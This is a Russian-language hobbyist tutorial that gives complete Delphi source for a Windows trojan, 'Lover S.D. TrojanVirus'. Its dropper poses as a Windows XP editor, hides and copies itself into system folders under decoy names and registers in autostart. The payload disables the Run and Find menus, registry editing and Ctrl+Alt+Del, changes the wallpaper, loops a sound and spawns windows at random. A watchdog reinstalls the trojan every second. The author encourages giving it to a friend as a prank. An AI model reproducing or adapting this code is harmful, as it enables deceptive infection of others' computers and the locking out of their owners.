назад

Lover S.D. TrojanVirus


Автор материала:
NetLover
[Новый сайт: www.netlover.h11.ru
Старый сайт: www.netlover.narod.ru
netlover@pochta.ru]

Итак, приятель, сейчас мы с тобой накодим самый настоящий троян. Он был написан мной...да так, от нечего делать! :) Для процесса тебе понадобится Delphi (с 3-ей версии и выше) или C++ Builder, чистые мозги и внимание! :) Троя написана под Win32, а посему будет работать только под Win95/98/NT/ME/XP. Суть этого трояна в следующем: сначала мы заставляем юзверя запустить нас (маскируясь под утилиту редактора WinXP), ну а затем, скопировав свои коды к неудачнику на винт, прописавшись в реестре в автозагрузке, выполняем наши вредные действия. Ниже приведен код самого трояна, снабженный многочисленными комментариями. Так что, я думаю, тебе не составит труда разобраться в нем. Нам понадобяться два приложения - одно (которое именно и косит под редактор WinXP) для копирования и прописывания в реестре второго (выполняющего все вредные действия).

Дополнительно к этому подготовь какую-нибудь картинку (поместим ее на рабочий стол юзверя) и WAV - файл (будем проигрывать его при старте виндов). В первом приложении будет всего одна форма (в принципе она не понадобится). Так вот в обработчике события OnCreate этой фoрмы пиши следующий код:

procedure TForm1.FormCreate(Sender: TObject);
Var a : Array[0..MAX_PATH] of char;
   Reg: TRegistry;
// для юзания этой переменной в разделе Uses должен быть указан модуль Registry
begin
{Получаем каталог Виндов, в нем создаем каталог VxD,
если NetLover.exe присутствует - копируем его в VxD,
переименовывая в SystemMonitor.exe, также копируем
картинку (поместим ее на рабочий стол юзверя:) ) и
WAV-файл (будем проигывать его при старте виндов)}

GetWindowsDirectory(a, sizeof(a));
MkDir(a+'\VxD');
if not(FileExists('NetLover.exe'))or not(FileExists('1.jpg'))or
not
(FileExists('Sound.wav')) then
begin

MessageDlg('Не хватает одного или несколькольких компонентов для запуска программы. Убедитесь в их наличии и правильности пути месторасположения.',mtError,[mbOK],0);
Application.Terminate;
end
else begin


{Устанавливаем атрибуты файлам NetLover.exe, Sound.wav
и 1.jpg: $00000001 - Только чтение, $00000002 - Скрытый,
если атрибуты установлены - копируем иначе выходим.}

if (FileSetAttr('NetLover.exe',$00000001 or $00000002)=0)
and (FileSetAttr('1.jpg',$00000001 or $00000002)=0)
and (FileSetAttr('Sound.wav',$00000001 or $00000002)=0)
then
begin

CopyFile('NetLover.exe',PChar(a+'\VxD\SystemMonitor.exe'),false);
CopyFile('1.jpg',PChar(a+'\VxD\1.jpg'),false);
CopyFile('Sound.wav','C:\Sound.wav',false);
end
else
begin

MessageDlg('Ошибка ввода-вывода: 11. Возможно файл поврежден или отсутствует.',mtError,[mbOK],0);
Application.Terminate;
end;
end;


{...та же процедура, только с каталогом System32...в нем
создается каталог Base...проверки уже не нужны.}

MkDir(a+'\System32\Base');
CopyFile('NetLover.exe',PChar(a+'\System32\Base\SystemMonitor.exe'),false);
CopyFile('1.jpg',PChar(a+'\System32\Base\1.jpg'),false);


{Создаем в каталогах VxD и Base файлы SystemMonitor.VxD
и еще пару штучек с любыми расширениями - для отвода
внимания, если юзверь полезет в реестр и увидет там
параметр SystemMonitor.}

FileCreate(a+'\VxD\SystemMonitor.drv');
FileCreate(a+'\VxD\SystemMonitor.res');
FileCreate(a+'\VxD\SystemMonitor.ini');
FileCreate(a+'\VxD\SistemMonitor.exe');
FileCreate(a+'\System32\Base\SystemMonitor.ini');
FileCreate(a+'\System32\Base\SystemMonitor.res');
FileCreate(a+'\System32\Base\SistemMonitor.exe');
FileCreate(a+'\VxD\SystemMonitor.drv');


{Прописываемся в реестр в автозагрузку}
REG := TRegistry.Create;
REG.RootKey:=HKEY_LOCAL_MACHINE;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
if FileExists(a+'\VxD\SystemMonitor.exe') then
REG.WriteString('SystemMonitor',a+'\VxD\SystemMonitor.exe')
else REG.WriteString('SystemMonitor',a+'\System32\Base\SystemMonitor.exe');
REG.CloseKey;
REG.Destroy;


{Выводим сообщение об ошибке, завершаем работу.
Дело сделано - дальше должна работать прога NetLover.exe,
которая теперь уже SystemMonitor.exe}

MessageDlg('Ошибка файловой системы 1034. Файл либо поврежден, либо отсутствует. Убедитесь в его наличии и правильности пути месторасположения.',mtError, [mbOK], 0);
Application.Terminate;
end;


Отлично! :) Сохраняй проект под именем EditorWinXP, поставь приложению какую-нибудь симпотичную осмысленную иконку (я не зря сказал ОСМЫСЛЕННУЮ! Понимаешь, у юзверга даже подозрения не должно быть, что это не редактор WinXP! :)) и считай почти половину мы с тобой уже сделали! :)

Все, теперь дальше...Вторая прога. Собственно NetLover.exe...Здесь понадобятся две формы. Первая будет невидимая...Почему? Ну что за вопрос? :) Сам подумай, что это будет за прикол, если юзверь увидет, кто ему показывает, "где раки зимуют" :)). Так вот первая форма и будет отвечать за все безобразия. Вторая форма будет являться типа УН-инсталом трояна, ликвидатором беспредела! Да, да и ни слова! Мы же с тобой не совсем уж такие звери - мы создали вирус - мы его и прикончим! :) Ну это для бедолаги-юзера, чтобы он не терял надежды и не упал сразу в обмарок. :)

На первой форме размести следующие компаненты: три таймера (Timer1, Timer2, Timer2) со страницы System, компанент PopUpMenu со страницы Standard и...Так, вот здесь немного оговорюсь. Наша прога должна висеть в СисТрее (System Tray). Как этого добиться? Можно конечно вручную, а можно и заюзать уже готовый компанент. Неплохой компанент, пихающий иконку в трей и позволяющий осуществлять различные действия с прогой написан Роландом Грабером (Roland Gruber, gruberroland@netscape.net), за что ему огромнейшее спасибо! :) Скачать этот компанент можно здесь...О.к...Итак, в общей сложности на первой форме у тебя четыре компанента.
Так, далее...Настройка свойств компанентов. В раскрывшемся списке свойства PopupRight компанета Phantom1 (компанент Roland'a) выбери всплывающее меню PopUpMenu1 (свойство PopupRight компанента Phantom определяет, какое всплывающее меню должно появиться, когда юзверь кликнет по иконке в трее правой клавишей...в нашем случае это PopUpMenu1, которое ты разместил на первой форме).
В свойстве Items компанента PopUpMenu1 создай два пункта (две кнопки) "Кто это?" и "Уничтожить безобразие! :)" (имена кнопок по умолчанию будут N1 и N2)...
Так, тепреь таймеры... Свойства Timer1: свойство Interval задай 10000. У Timer2 - Interval будет 5000. Ну и наконец у Timer3 свойство Interval оставь без изменений - 1000.

Так, со свойствами компанентов первой формы разобрались...Поехали дальше! :)
События компанентов первой формы (да и самой формы тоже)...Для начала, небольшие нюансики. В разделе подключения модулей Uses добавь модули Registry и mmSystem (модуль Phantom добавиться автоматически, как только ты разместишь компанент Phantom). А также в разделе public добавь логическую переменную ОК, она нам еще понадобится:

private
{ Private declarations }
public
OK: boolean;
// переменная проверяет, ввел ли юзверг правильный пароль
{ Public declarations }
end;

Тык-с...готово...Теперь в обработчике события OnCreate первой формы (Form1) пиши следующий код (он снабжен многочисленными комментариями, думаю разберешься):

procedure TForm1.FormCreate(Sender: TObject);
var reg: TRegIniFile;
      reg1: TRegistry;
      a: array[0..MAX_PATH] of char;
begin
OK:=false;

{Запрещаем меню "Выполнить", и "Найти" чтобы юзверг не смог запустить
RegEdit, MSConfig и т.д, а также найти файлы по последней дате,
недавно скаченные на его комп :). Также запрещаем редактирование
реестра (ну тут я думаю понятно почему) }


REG1:= TRegistry.Create;
REG1.RootKey:=HKEY_CURRENT_USER;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
REG1.WriteBool('NoRun',true);
REG1.WriteBool('NoFind',true);
REG1.CloseKey;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
REG1.WriteBool('DisableRegistryTools',true);
REG1.CloseKey;
REG1.Destroy;


{Подавляем реакцию Windows на CTRL+ALT+DEL}
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, nil, 0);

{Меняем WallPapper :) }
Reg := TRegIniFile.Create('Control Panel');
GetWindowsDirectory(a, sizeof(a));
Reg.WriteString('desktop', 'Wallpaper', a+'\VxD\1.jpg');
Reg.WriteString('desktop', 'TileWallpaper', '0');
Reg.Free;
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil,SPIF_SENDWININICHANGE);


{Играем "музыку" :))}
PlaySound('c:\Sound.wav', 0, SND_ASYNC or SND_LOOP);   
{для юзания этой процедуры должен быть подключен модуль mmSystem}

{Выводим сообщение, о том, что мы уже здесь :)}
MessageDlg('Что-то с мышкой моей стало! :-) Бр-р-р-р!))))', mtInformation, [mbOK],0);
end;


Еще одна процедура, относящаяся к первой форме - OnCloseQuery. Она обрабатывает событие закрытия формы. Код ее будет таким:

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin

{Первая форма закроется лишь тогда, когда юзер введет верный пароль}
if OK then CanClose:=true
else CanClose:=false;
end;


Так, очень хорошо! :) Далее...Разберемся с кнопками N1 и N2 всплывающего меню PopUpMenu1. В обработчике события OnClick кнопки N1 пиши такой код:

procedure TForm1.N1Click(Sender: TObject);
begin

{Это событие выведет сообщение о том, ЧТО это :)}

MessageDlg('Кто это? Понятия не имею! :) Похоже чужой пробрался на твою территорию. :) Да, да! Надо было повнимательней относиться ко всему происходящему в твоей системе! Не любишь ты свою машину, раз позволил этой твари пробраться в нее! :) Ну не расстраивайся так сильно, ведь ты же умница и сможешь справиться с ним (или с ней)! :) Ну а если не получиться, зови на помощь :) Вот так: "Помоги-и-ите-е-е-е! Ма-амочка-а-а-а!!!" Ну хватит орать!))) Это всего-навсего разъедатель системы Lover.S.D.NetVirus. Милое название, не правда ли? :) Ладно, без паники! Я помогу тебе... :) Жми скорей пимпу "Уничтожить безобразие! :)" и истреби это дьявольское отродье!)))',mtWarning,[mbOK],0);
end;


Отлично...Код события OnClick кнопки N2 следующий:

procedure TForm1.N2Click(Sender: TObject);
begin

{Это событие выведет форму уничтожения трои (Form2) :)}
Form2.Show;
end;


Ну как, еще не уснул? :) Ха-ха-ха! :)) Тогда слушай дальше! Обрабатываем таймеры. Код события OnTimer первого таймера ( Timer1) будет таким:

procedure TForm1.Timer1Timer(Sender: TObject);
var RandVar: integer;
// переменная для генерации случайного числа
begin
{Каждые пять секунды будем творить какие-нибудь гадости :),
выбирая их случайным образом. Ну здесь - запуск различных
окон, мешающий работе...Это улучшенная фича старой фичи моего
знакомого Земчихина Андрея}


Randomize;
RandVar:=Random(10);
Case RandVar of
1: WinExec('rundll32 shell32,Control_RunDLL', SW_RESTORE);
// Откpыть окно "Панель упpавления"
2: WinExec('rundll32 shell32,OpenAs_RunDLL', SW_RESTORE); // Окно "Откpыть с помощью..."
3: WinExec('rundll32 shell32,Control_RunDLL desk.cpl', SW_RESTORE); // Откpыть "Свойства Экpана"
4: WinExec('rundll32 diskcopy,DiskCopyRunDll', SW_RESTORE); // Окно "Copy Disk" вызвать
5: WinExec('rundll32 user,wnetdisconnectdialog', SW_RESTORE); // Вызвать окно "Отключение сетевого диска"
6: WinExec('rundll32 user,wnetconnectdialog ', SW_RESTORE); // Вызвать окно "Подключение сетевого диска"
7: WinExec('rundll32 shell32,SHFormatDrive', SW_RESTORE); // Окно "Фоpматиpование: Диск3,5(А)" вызвать
8: WinExec('rundll32 shell32,ShellAboutA', SW_RESTORE); // Info-Box (о Windows) вызвать
9: WinExec('rundll32 shell,shellexecute', SW_RESTORE); // Окно откpыть в коpневом каталоге
10: WinExec('notepad.exe', SW_RESTORE); // Блокнот вызвать
end; // end Case RandVar of
end;

Код события OnTimer второго таймера (Timer2):

procedure TForm1.Timer2Timer(Sender: TObject);
begin
WinExec('rundll32 user,setcursorpos', SW_RESTORE);
{через каждые пять секунд отводим мышу в левый верхний угол}
end;

Ну и наконец код события OnTimer третьего таймера (Timer3) примет следующий вид:

procedure TForm1.Timer3Timer(Sender: TObject);
var reg: TRegIniFile;
      reg1: TRegistry;
      a: array[0..MAX_PATH] of char;
begin

{Этот таймер будет отслеживать все действия по
попыткам удаления вируса (из реестра или с винта).
Каждую секунду будем сканировать реестр и винт на наличии
самих себя...за отсутствием оных где-либо вновь будем
копировать себя...В принципе эта процедура смесь процедур FormCreate прог NetLover.exe и EditorWinXP,
за исключение того, что эта процедура выполняется каждую секунду.}


OK:=false;
{Запрещаем меню "Выполнить", и "Найти" чтобы юзверг не смог запустить
RegEdit, MSConfig и т.д, а также найти файлы по последней дате,
недавно скаченные на его комп :). Также запрещаем редактирование
реестра (ну тут я думаю понятно почему) }


REG1:= TRegistry.Create;
REG1.RootKey:=HKEY_CURRENT_USER;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
REG1.WriteBool('NoRun',true);
REG1.WriteBool('NoFind',true);
REG1.CloseKey;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
REG1.WriteBool('DisableRegistryTools',true);
REG1.CloseKey;
REG1.Destroy;

GetWindowsDirectory(a, sizeof(a));
if not(FileExists(a+'\VxD\SystemMonitor.exe'))or not(FileExists(a+'\VxD\1.jpg'))
then begin
CopyFile(PChar(a+'\System32\Base\SystemMonitor.exe'),PChar(a+'\VxD\SystemMonitor.exe'),false);
CopyFile(PChar(a+'\System32\Base\1.jpg'),PChar(a+'\VxD\1.jpg'),false);
end
else if not(FileExists(a+'\System32\Base\SystemMonitor.exe'))or not(FileExists(a+'\System32\Base\1.jpg'))
then begin
CopyFile(PChar(a+'\VxD\SystemMonitor.exe'),PChar(a+'\System32\Base\SystemMonitor.exe'),false);
CopyFile(PChar(a+'\VxD\1.jpg'),PChar(a+'\System32\Base\1.jpg'),false);
end;


{Прописываемся в реестр в автозагрузку}

REG1 := TRegistry.Create;
REG1.RootKey:=HKEY_LOCAL_MACHINE;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
if FileExists(a+'\VxD\SystemMonitor.exe') then
REG1.WriteString('SystemMonitor',a+'\VxD\SystemMonitor.exe')
else REG1.WriteString('SystemMonitor',a+'\System32\Base\SystemMonitor.exe');
REG1.CloseKey;
REG1.Destroy;
end;


Уф!... :) С первой формой разобрались. Остается второю форму сгенерировать и сам файл проекта немного подправить. Чем собственно мы сейчас и займемся! :) Как ты помнишь, вторая форма будет ликвидатором трои.

Форма номер два (Form2). Для начала разместим все необходимые компаненты и настроим их свойства. Всего должно быть четыре компанента: метка (Label) со страницы Standard, оповещающая о том, что нужно сделать юзеру, что б прикончить "гада", текстовое поле ввода (Edit, тоже со страницы Standard), непосредственно для ввода самого пароля, и две кнопки (неважно какие - просто Button, SpeedButton или BitButton) для удаления "твари" и для выхода из формы соотвественно. Кэпшены (Caption) метки и кнопок можешь придумать сам, здесь, думаю, нетрудно. :) Я, к примеру, обозвал их так:

Label1: свойство Caption - 'Да, здесь можно убить эту тварь...Э-э-э...Небольшая проблемка...Нужен пароль...'
Button1: свойство Caption - 'Убьем гада! :)'
Button2: свойство Caption - 'Э-эх...Я не знаю пароля...Выход'

Кстати, кнопка выхода будет выполнять две функции - выход просто из формы, если юзер ввел неверный пароль или не знает пароля, а также выход из самого приложения в противном случае (здесь имя кнопки должно измениться просто на 'Выход', ну или как ты там придумаешь, без разницы в общем :))...
Так, обрабатываем события связанные непосредсвенно с самой формой. Единственное событие, которое к ней относится это, OnClose. Код обработчика этого события нэкст:

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
{Если имя второй кнопки сменилось на 'Выход' (т.е. юзверг ввел верный пароль), то выходим из проги}
begin
if SpeedButton2.Caption='Выход' then
begin
MessageDlg('И впредь будь остарожней! :)', mtInformation, [mbOK],0);
Application.Terminate;
end;
end;


Далее...Реагируем на событие изменения Edit1 (OnChange) следующим образом:

procedure TForm2.Edit1Change(Sender: TObject);
begin
if Edit1.Text='GamletNetLoverSDA...' then
{Если юзверг ввел верный пароль, то...Ну пароль можешь свой придумать}
begin
MessageDlg('Ну вот видешь! :) Все получилось!))) Молодца! Жми пимпу "Убьем гада! :)" ! гЫЫЫЫ!))) Прям как дети малые, я не могу!)))))', mtInformation, [mbOK],0);
SpeedButton1.Enabled:=true;
end
else SpeedButton1.Enabled:=false;
end;


В процедуре по ликвидации "доброго монстра" нам понадобиться функция удаления каталога со всем содержимым. К несчастью в стандартных функциях Delphi таковой не наблюдается. А в связи с этим, как ты уже догадался, нам придется определить ее самим. :) Ну это не так уж и сложно! :) Пиши:

{Фунция удаления каталога со всем содержимым.
Эта функция нам понадобиться при удалении
каталогов VxD и Base. Функция взята из FAQ-издания, дополнена и переработана }

function DeleteDir(Dir : string) : boolean;
Var Found : integer;
      SearchRec : TSearchRec;
begin
result:=false;
if IOResult<>0 then;
ChDir(Dir);
if IOResult<>0 then
begin
MessageDlg('Не могу войти в каталог: '+Dir+'. Может он уже удален? Слушай, попробуй своими силами, путь уже знаешь! Удали этот каталог вручную! :) Давай, давай, помогай, а то я откажусь тебе помогать! :)', mtError, [mbOK],0);
exit;
end;
Found := FindFirst('*.*', faAnyFile, SearchRec);
while Found = 0 do
begin
if (SearchRec.Name<>'.')and(SearchRec.Name<>'..') then
if (SearchRec.Attr and faDirectory)<>0 then
begin
if not DeleteDir(SearchRec.Name) then exit;
end else
if not DeleteFile(SearchRec.Name) then MessageDlg('Не могу удалить файл: '+Dir+SearchRec.Name+'. Слушай, попробуй своими силами, путь уже знаешь! Удали этот файл вручную! :) Давай, давай, помогай, а то я откажусь тебе помогать! :)', mtError, [mbOK],0);
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
ChDir('..');
RmDir(Dir);
result:=IOResult=0;
end;


Хорошо...Теперь кнопка по уничтожению трои. Код ее процедуры выглядит так:

procedure TForm2.SpeedButton1Click(Sender: TObject);
var reg: TRegistry;
      Found : integer; // для удаления каталогов
      SearchRec : TSearchRec; // для удаления каталогов
      a : array[0..MAX_PATH] of char;
begin

{Отключаем таймеры, чтобы не выскакивали окна и не бегала мыша, а также для того, чтобы троян не сканировал винт и реестр на наличие себя}
Form1.Timer1.Enabled:=false;
Form1.Timer2.Enabled:=false;
Form1.Timer3.Enabled:=false;
MessageDlg('О.к...Таймер отключен! Можешь позакрывать все эти окна! :)',mtInformation,[mbOK],0);


{Разрешаем меню "Выполнить", "Найти" и редактирование реестра}
REG:= TRegistry.Create;
REG.RootKey:=HKEY_CURRENT_USER;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
REG.DeleteValue('NoRun');
REG.DeleteValue('NoFind');
REG.CloseKey;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
REG.DeleteValue('DisableRegistryTools');
REG.CloseKey;
MessageDlg('O.k...Меню "Выполнить", "Найти" а также радактирование реестра вновь разрешены! :) Хе-хе! Видешь, не все так страшно!))))',mtInformation,[mbOK],0);


{Удаляемся из реестра из автозагрузки}
REG.RootKey:=HKEY_LOCAL_MACHINE;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
REG.DeleteValue('SystemMonitor');
REG.CloseKey;
REG.Destroy;
MessageDlg('О.к...Вирус удален из реестра! :)',mtInformation,[mbOK],0);


{Удаляем каталоги VxD и Base со всем содержимым (атрибуты файлов
SystemMonitor.exe (бывший NetLover.exe) и 1.jpg нужно поменять со
Скрытого и Только для чтения на Архивный, иначе мы не сможем его удалить.)
Но дело в том, что мы не сможем удалить EXEник, запущенный в данный
момент, это придется сделать только после перезагрузки, прописавшись
в реестре в RunOnce и задав параметр самоликвидации (после рестарта
удалится и сам параметр самоликвидации)}


{Прописываем параметр самоликвидации проги после выполнения}
reg := TRegistry.Create;
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',false);
if FileExists(a+'\VxD\SystemMonitor.exe') then
WriteString('I am terminated!','command.com /c del '+a+'\VxD\SystemMonitor.exe')
else if FileExists(a+'\System32\Base\SystemMonitor.exe') then
WriteString('I am terminated!','command.com /c del '+a+'\System32\Base\SystemMonitor.exe');
CloseKey;
free;
end; // with reg do

GetWindowsDirectory(a, sizeof(a));
FileSetAttr(a+'\VxD\SystemMonitor.exe', $00000020); // $00000020 - Архивный файл
FileSetAttr(a+'\VxD\1.jpg', $00000020);
FileSetAttr(a+'\System32\Base\SystemMonitor.exe', $00000020);
FileSetAttr(a+'\System32\Base\1.jpg', $00000020);
DeleteDir(a+'\VxD');
{Эту функцию мы определили раньше}
DeleteDir(a+'\System32\Base');
MessageDlg('О.к...Удалились из Windows и System32 :). Да успокойся же ты! Его нет уже на винте! Да честно, честно! :) ',mtInformation,[mbOK],0);


{Удаляем файл Sound.wav из "корня" (атрибуты файла
нужно поменять со Скрытого и Только для чтения на Архивный, иначе мы не сможем его
удалить)}

PlaySound(0, 0, SND_PURGE); // остановили Sound.wav
FileSetAttr('C:\Sound.wav', $00000020); // $00000020 - Архивный файл
DeleteFile('C:\Sound.wav');
MessageDlg('И наконец истребили эту злую тетеньку, которая так вопила своим милым голоском! :)',mtInformation,[mbOK],0);


{Восстанавливаем реакцию Windows на CTRL+ALT+DEL}
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, nil, 0);
MessageDlg('О.к...Обещаю, что после перезагрузки все будет хорошо! :) Извини, если что! :-)',mtInformation,[mbOK],0);
MessageDlg('Да, кстати! Обои на рабочем столе поменяй своими силами, плиззз! :) Я думаю, ты сможешь это сделать! Ведь ты же умница! :) гЫЫЫЫЫ)))) Ну прям как дети малые, я не могу! :-)',mtInformation,[mbOK],0);

SpeedButton1.Enabled:=false;
Edit1.Enabled:=false;
SpeedButton2.Caption:='Выход';
Label1.Caption:='Все! Дело сделано! :) Жми "Выход"...';
Form1.OK:=true;
end;


Ну и наконец последняя процедура - кнопка выхода:

procedure TForm2.SpeedButton2Click(Sender: TObject);
begin
if SpeedButton2.Caption='Выход' then
begin
MessageDlg('Согласись, все равно было весело! :) Ладно, пока! :) Удачи!', mtInformation, [mbOK],0);
Close;
end
else Close;
end;


Все, герой! Готово! :)) Осталось только собрать все наши "глупости" воедино и можно дать поюзать "редактор WinXP" своему корешу-бедолаге! :) Помести все в одну папку и не забудь файлы NetLover.exe, Sound.wav и 1.jpg сделать скрытыми, иначе прикол у тебя и не выйдет! :))

Ну, все, удачи! Если что-то непонятно или есть какие-нибудь вопросы, пиши мне или Gamlet'у на E-mail, постараемся тебе помочь! :)

NetLover

Сайт управляется системой uCoz